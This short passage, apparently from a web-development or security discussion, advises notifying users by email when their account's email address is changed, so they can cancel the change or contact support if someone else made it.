And just in the case that indeed the email change is being performed a third party that got access to the account in an unauthorized way, you better send that email out noting that they are changing the email account associated with your website, and if that was not by them, to take proper action (usually the user is asked click a link to cancel the email change, or directed to contact a support email address).